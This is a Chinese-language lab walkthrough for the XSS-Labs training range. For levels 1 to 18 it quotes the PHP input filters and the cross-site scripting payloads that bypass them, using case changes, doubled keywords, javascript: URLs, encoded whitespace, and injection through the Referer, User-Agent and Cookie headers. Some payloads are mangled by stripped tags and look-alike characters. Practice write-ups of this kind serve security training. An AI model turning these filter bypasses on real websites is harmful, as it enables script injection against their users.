XSS-Labs合集

目录

Level 1

Level 2

Level 3

Level 4

Level 5

Level 6

Level 7

Level 8

Level 9

Level 10

Level 11

Level 12

Level 13

Level 16

Level 17

Level 18


测试:

Level 2

闭合双引号和标签

payload

">//

">

Level 3

输入测试 '":()

查看源码发现 < > 被过滤

/script'":()

payload

" οnmοuseοver="alert(/xss/)

Level 5

过滤了on开头的标签,script,使用其他标签绕过

payload

">click me!

Level 6

分析源码

$str2=str_replace("

发现将常用的标签都过滤了,但是他没进行大小写转换,href大写绕过

payload

" Onmouseover="alert(/xss/)

">click me!

 

Level 7

分析源码

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

这里使用了小写转换,无法使用大写绕过,由于只是将字符删除,可以尝试使用双写绕过

payload

">click me !

">alert(1)

" oONnmouseover="alert(/xss/)

Level 8

分析源码

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','"',$str6);

这里的过滤更加严格,尝试使用编码绕过

payload

javascRipt:alert(/xss/)

Level 9

和第八关的区别在与加了一条判断

if(false===strpos($str7,'http://'))

{

  echo '

友情链接
';  }

在alert()里面加上即可

payload

javascRipt:alert('http://xss')

 

Level 10

分析源码

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

这里直接提交t_sort参数即可,由于没有输入框,这里我们自己构造按钮,触发事件

payload

?t_sort=click me!" type="button" οnclick="alert(/xss/)

Level 11

分析源码

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

这里接受的是referer字段的传递的值,在第十关使用bp抓包,修改referer字段即可

payload

Referer: click me!" type="button" οnclick="alert(/xss/)

 

Level 12

分析源码

$str11=$_SERVER['HTTP_USER_AGENT'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

和上一关类似,只是变为了USER_AGENT字段

payload

User-Agent: click me!" type="button" οnclick="alert(/xss/)

Level 13

分析源码

$str11=$_COOKIE["user"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

和上一关类似,只是变为了cookie的user字段

payload

Cookie: user=click me!" type="button" οnclick="alert(/xss/)

Level 16

分析源码

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script"," ",$str);

$str3=str_replace(" "," ",$str2);

$str4=str_replace("/"," ",$str3);

$str5=str_replace("        "," ",$str4);

这里过滤了空格,使用%0D编码绕过

payload

?keyword=

 

Level 17

分析源码

发现传入的两个参数都传入事件,进行攻击

payload

?arg01=a&arg02=b οnmοusedοwn=alert(1)

?arg01=a οnmοusedοwn=alert(1)&arg02=b

Level 18

和17关类似

payload

?arg01=a&arg02=b οnmοusedοwn=alert(1)

?arg01=a οnmοusedοwn=alert(1)&arg02=b

 

后面的两关涉及到反编译的内容,笔者。。

 

你可能感兴趣的:(靶机实战,渗透测试)